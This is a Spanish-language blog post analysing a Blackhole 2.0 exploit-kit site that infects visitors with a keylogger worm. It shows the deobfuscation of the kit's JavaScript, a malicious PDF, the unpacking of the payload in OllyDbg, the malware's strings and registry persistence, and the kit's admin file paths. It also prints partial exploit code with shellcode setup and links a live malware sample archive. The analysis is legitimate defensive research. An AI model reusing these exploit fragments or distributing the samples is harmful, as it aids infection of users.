Inauguramos el primer post del año con un pequeño análisis de una web maliciosa que contiene Blackhole 2.0. Este Kit esta muy difundido a nivel mundial y en este caso es utilizado para infectar a los usuarios con un worm keylogger.
Como en otras oportunidades utilizaremos Malzilla + peepdf + Ollydbg + Dirbuster + HexFlex + un cafe...
Sitio analizado en V.T.
Descarga con malzilla del primer Script malicioso.
ver (/scriptsJS/exploit-01.txt) de muestra
var a = 08:40:4!:59:!25:!25:59:97:........................mas datos...............!03!02:!!!:46:!06:97:!!4:34:4!:59";
a=a.replace(/!/g,1)[sp](":");
<- color="#ff0000" font="font" nbsp="nbsp">var a ->se reemplaza el "!" por un "1" y
Nos queda
18 97 114 32 80 108 117 103 ....mas datos....105 110 68 101 116 101
A simple vista se trata de valores ASCII
ver (/scriptsJS/exploit-02.txt) de muestra
estos datos lo pasamos de ascii a text
Análisis en V.T. del .JS
Voy a cargar la siguiente parte en Malzilla para forzarle al servidor que me descargue un PDF.
Así obtenemos un PDF con el exploit.
Análisis del PDF en VT
El PDF lo analizaremos con la herramienta peepdf, que nos permitirá observar los objetos alojados dentro del el, en búsqueda de elementos maliciosos.
Cmd peepdf.py -f -i XXXX.pdf
-f force para evitar errores
-i interactivo, es decir queda cargado el pdf para mas cmds.
Vemos que el objeto 63 contiene JavaScript
lo copiamos a un .txt con el cmd
object 64 > script-01.txt (ver /scriptsJS/script-01.txt en muestra)
Tiene dos variables con datos "a" y "rawd2"
a='4E@73J4A1648@..............mas datos..............53J3M3M41@"
s="";
z=a;
str="Str";
str+="i";
str+="ng";
ss=(k)?dsa(str):12;
ff='fro12harCode';
pp="par";
ss=ss[(k)?ff[cr4]('1','m')[cr4]('2','C'):0];
k('zz='+ss(107));
k((k)?"pp+='seInt'":12);
q=t[pp];
xz=a.length;
for(i=0;xz>i;i=2+i){
i2=i+1;
if (z[i]!='@')
if(event.name===vcx)s+=(ss(q(z[i]+z[i2],25+1)));
}
El código esta ofuscado y si lo cargamos en malzilla va a fallar.
Pero arreglándolo queda:
s="";
z=a;
xz=a.length;
for(i=0;xz>i;i=2+i){
i2=i+1;
if (z[i]!='@')
s+=(String.fromCharCode(parseInt(z[i]+z[i2],25+1)));
}
document.write(s);
(ver /scriptsJS/script-02.txt en muestra)
Lo cargamos en Malzilla
Ejecutamos el Script, y gracias al document.write(s) obtenemos la salida.
(ver /scriptsJS/script-03.txt en muestra)
var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+rawd2.split('').reverse().join('').replace(/;
/g,'');
Aquí vemos que se utiliza la variable rawd2 que vimos arriba, a la cual se le realiza un reverse.join.replace.
Tomamos solo una parte del .JS
var rawd2 ="CARGAR AQUI LOS DATOS DE RAWD2";
var _l1= rawd2.split('').reverse().join('').replace(/;/g,'')
document.write(_l1);
Tomamos solo una parte del .JS
var rawd2 ="CARGAR AQUI LOS DATOS DE RAWD2";
var _l1= rawd2.split('').reverse().join('').replace(/;/g,'')
document.write(_l1);
El resultado lo pasamos de hexadecimal a texto.
Análisis del ejecutable en V.T. con un indice muy bajo en detecciones.
Lo cargamos en Ollydbg.
Parchamos la función IsDebuggerPressent que tiene el Crypter.
BP en WriteProcessMemory para realizar el dump.
Vemos que lo dumpeado esta compactado con UPX.
realizamos un upx -d dump.exe para descomprimirlo.
Análisis del dump sin UPX
Strings interesantes:
"open"
00401F80 DD about_du.00418EC4 UNICODE "SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command"
0040202C DD about_du.0040DE4C UNICODE "KERNEL32"
00402034 DD about_du.0040DE68 UNICODE "NTDLL"
004020E0 DD about_du.00418FF8 UNICODE "127.0.0.1"
004020E8 DD about_du.00419010 UNICODE "N/A"
004020EC DD about_du.004137F8 UNICODE "*.*"
004020F0 DD about_du.0040D81C UNICODE "x65"
0040225C DD about_du.004170FC UNICODE "Unknown (?)|n/a|?"
00402264 DD about_du.0041712C UNICODE "Win95, OSR2"
0040226C DD about_du.00417150 UNICODE "Win95"
00402274 DD about_du.00417160 UNICODE "Win98, SE"
00402278 DD about_du.00417178 UNICODE "Win98"
0040227C DD about_du.00417188 UNICODE "WinME"
00402280 DD about_du.004171A0 UNICODE "Win2000, Data Center"
00402284 DD about_du.004171D0 UNICODE "Win2000, Advanced"
00402288 DD about_du.004171F8 UNICODE "Win2000"
0040228C DD about_du.0041720C UNICODE "WinXP"
00402290 DD about_du.0041721C UNICODE "WinServer 2003, Enterprise"
00402294 DD about_du.00417258 UNICODE "WinServer 2003, Data Center"
00402298 DD about_du.00417294 UNICODE "WinServer 2003, Web Edition"
0040229C DD about_du.004172D0 UNICODE "WinServer 2003, Standard"
004022A0 DD about_du.00417308 UNICODE "WinServer 2003"
004022A4 DD about_du.0041732C UNICODE "Win"
004022A8 DD about_du.00417338 UNICODE "WinServer 2008"
004022AC DD about_du.0041735C UNICODE "Vista"
004022B4 DD about_du.00412FEC UNICODE "Unknown"
004022C4 DD about_du.00416CF4 UNICODE "n/a"
004022C8 DD about_du.00416CD4 UNICODE "WScript.Shell"
004022D0 DD about_du.00417370 UNICODE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName"
004022D4 DD about_du.0041308C UNICODE "RegRead"
00402354 DD about_du.004140B4 UNICODE "Torrent"
00402360 DD about_du.00419730 UNICODE "\uTorrent\uTorrent.exe /DIRECTORY "
00402368 DD about_du.0041977C UNICODE " /HIDE"
00402370 DD about_du.0041397C UNICODE "open"
004023A4 DD about_du.0041701C UNICODE "{ENTER}"
USB spreader running"
004044A8 DD about_du.0041A0EC UNICODE "[autorun]"
004044AC DD about_du.0041A104 UNICODE "flood stopped"
004044B0 DD about_du.0041A124 UNICODE "SYN packets sent"
004044B4 DD about_du.0041A14C UNICODE "Software\Kazaa\LocalContent"
004044B8 DD about_du.0041A188 UNICODE "Software\Microsoft\Windows\CurrentVersion\Uninstall\eMule"
004044BC DD about_du.0041A200 UNICODE "Variant of Bff BOT"
004044C0 DD about_du.0041A22C UNICODE "HERE-IS-ACTIVEX-GUID"
004044C4 DD about_du.0041A25C UNICODE "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\DigitalProductId"
004044C8 DD about_du.0041A2DC UNICODE "TCanvas"
004044CC DD about_du.0041A2F0 UNICODE "Error Ending Process"
004044D0 DD about_du.0041A320 UNICODE "YuklenenDizin"
004044D4 DD about_du.0041A340 UNICODE "Dosyalar"
004044D8 DD about_du.0041A358 UNICODE "InstalledApplications"
004044DC DD about_du.0041A388 UNICODE "Apocalypse"
004044E0 DD about_du.0041A3A4 UNICODE "WindowManager"
004044E4 DD about_du.0041A3C4 UNICODE "Variant of Apocalypse RAT"
004044E8 DD about_du.0041A3FC UNICODE "bps1.exe"
004044EC DD about_du.0041A414 UNICODE "bhookpl.dll"
004044F0 DD about_du.0041A430 UNICODE "bnfa.exe"
004044F4 DD about_du.0041A448 UNICODE "drvloadn.dll"
004044F8 DD about_du.0041A468 UNICODE "drvloadx.dll"
004044FC DD about_du.0041A488 UNICODE "VNCHooks.dll"
00404500 DD about_du.0041A4A8 UNICODE "xr4tdwa.exe"
00404504 DD about_du.0041A520 UNICODE "SOFTWARE\Microsoft\Active Setup\Installed Components"
00404508 DD about_du.0041A590 UNICODE "shutdown.exe"
0046E529 ASCII "1o",0
0046E89C ASCII "MSVBVM60.DLL",0
0046E8AC ASCII "EVENT_SINK_GetID"
0046E8BC ASCII "sOfNames",0
0046E8C6 ASCII "MethCallEngine",0
0046E8D6 ASCII "EVENT_SINK_Invok"
0046E8E6 ASCII "e",0
0046E8EA ASCII "Zombie_GetTypeIn"
0046E8FA ASCII "fo",0
0046E8FE ASCII "EVENT_SINK2_Rele"
0046E90E ASCII "ase",0
0046E914 ASCII "EVENT_SINK_AddRe"
0046E924 ASCII "f",0
0046E928 ASCII "DllFunctionCall",0
0046E93A ASCII "Zombie_GetTypeIn"
0046E94A ASCII "foCount",0
0046E954 ASCII "EVENT_SINK_Relea"
0046E964 ASCII "se",0
0046E968 ASCII "EVENT_SINK_Query"
0046E978 ASCII "Interface",0
0046E984 ASCII "__vbaExceptHandl"
0046E994 ASCII "er",0
0046E998 ASCII "ProcCallEngine",0
0046E9A8 ASCII "EVENT_SINK2_AddR"
0046E9B8 ASCII "ef",0
Por lo visto en los strings, estimo que el malware utiliza los medios removibles USB y las redes P2P para difundirse.
En el análisis dinámico:
Se observa que se copia a la carpeta:
C:\Documents and Settings\User\Application Data\rubber.exe
Modifica el registro para asegurarse la persistencia en el sistema
LM\Software\Microsoft\Windows\CurrentVersion\Run\Windows Defender REG_SZ 118 "C:\Documents and Settings\User\Application Data\rubber.exe"
Genera el archivo Java, el cual resulta ser un log del keylogger.
Accediendo a Hotmail.
Revisión del sitio malicioso con DirBuster.
Directories found during testing:
Dirs found with a 200 response:
/joomla/
/
/joomla/dummy/
/joomla/www/
/joomla/freely/
/joomla/massive/
/joomla/sequences/
/joomla/universities/
/joomla/www/admin/
/joomla/www/admin/cleans/
/joomla/www/admin/cleans/tmp/
/joomla/sequences/kcaptcha/
/joomla/sequences/templates/
/joomla/www/admin/cleans/tmp/2/
/joomla/sequences/templates/css/
/joomla/sequences/templates/img/
/joomla/sequences/templates/js/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/joomla/api.php
/joomla/autoupdate.php
/joomla/bhadmin.php
/joomla/config.php
/joomla/contents.php
/joomla/cron_check.php
/joomla/cron_checkdomains.php
/joomla/cron_update.php
/joomla/move_logs.php
/joomla/cron_updatetor.php
/joomla/readme.txt
/joomla/tr_count.dat
/joomla/massive/ap1.php
/joomla/massive/ap2.php
/joomla/massive/field.swf
/joomla/massive/flash.swf
/joomla/sequences/browser.php
/joomla/massive/getJavaInfo.jar
/joomla/universities/9acc100786
/joomla/universities/file9acc100786
/joomla/sequences/db.php
/joomla/sequences/files.php
/joomla/massive/java.jar
/joomla/massive/score.swf
/joomla/sequences/java.dat
/joomla/sequences/js.php
/joomla/massive/spn.jar
/joomla/massive/spn2.jar
/joomla/massive/spn3.jar
/joomla/sequences/lang.php
/joomla/sequences/data.dat
/joomla/sequences/logs.php
/joomla/sequences/sc.php
/joomla/sequences/template.php
/joomla/sequences/threads.php
/joomla/sequences/words.dat
/joomla/universities/tmp.gz
/joomla/sequences/templates/auth.php
/joomla/sequences/templates/block_config.php
/joomla/sequences/templates/blocked_stat.php
/joomla/sequences/templates/browsers_bstat.php
/joomla/sequences/templates/browsers_stat.php
/joomla/sequences/templates/countries_bstat.php
/joomla/sequences/templates/countries_stat.php
/joomla/sequences/templates/domainEdit.php
/joomla/sequences/templates/domains.php
/joomla/sequences/templates/exploits_bstat.php
/joomla/sequences/templates/exploits_stat.php
/joomla/sequences/templates/fileEdit.php
/joomla/sequences/templates/css/main.css
/joomla/sequences/templates/files.php
/joomla/sequences/templates/global_bstat.php
/joomla/sequences/templates/global_stat.php
/joomla/sequences/templates/main_stat.php
/joomla/sequences/templates/menu.php
/joomla/sequences/templates/oses_bstat.php
/joomla/sequences/templates/oses_stat.php
/joomla/sequences/templates/referers_bstat.php
/joomla/sequences/templates/img/refresh.gif_Zone.Identifier_$DATA
/joomla/sequences/templates/js/datepicker.js
/joomla/sequences/templates/referers_stat.php
/joomla/sequences/templates/js/form.js
/joomla/sequences/templates/ruleEdit.php
/joomla/sequences/templates/security.php
/joomla/sequences/templates/js/wysiwyg.js
/joomla/sequences/templates/settings.php
/joomla/sequences/templates/threadEdit.php
/joomla/sequences/templates/js/main.js
/joomla/sequences/templates/threads.php
/joomla/sequences/templates/threads_bstat.php
/joomla/sequences/templates/threads_stat.php
/joomla/sequences/templates/versions.php
Files found with a 502 responce:
/joomla/freely/.php
/joomla/freely/applications-ability_year_inputted.php
/joomla/freely/phrases-students-standards.php
Admin Panel del BHEK
Muestras: http://www.mediafire.com/?o7vwm75zlwu7ztm
password = infected
Eso es todo por el momento.
@Dkavalanche 2013
@Dkavalanche 2013
In my eyes,
Indisposed,
In disguise
As no one knows.
Hides the face,
Lies the snake,
And the sun
In my disgrace.
Indisposed,
In disguise
As no one knows.
Hides the face,
Lies the snake,
And the sun
In my disgrace.
2 comentarios:
Felicitaciones!, que buen trabajo.
Gracias nonroot, estoy alagado por su comentario.
Saludos!
Publicar un comentario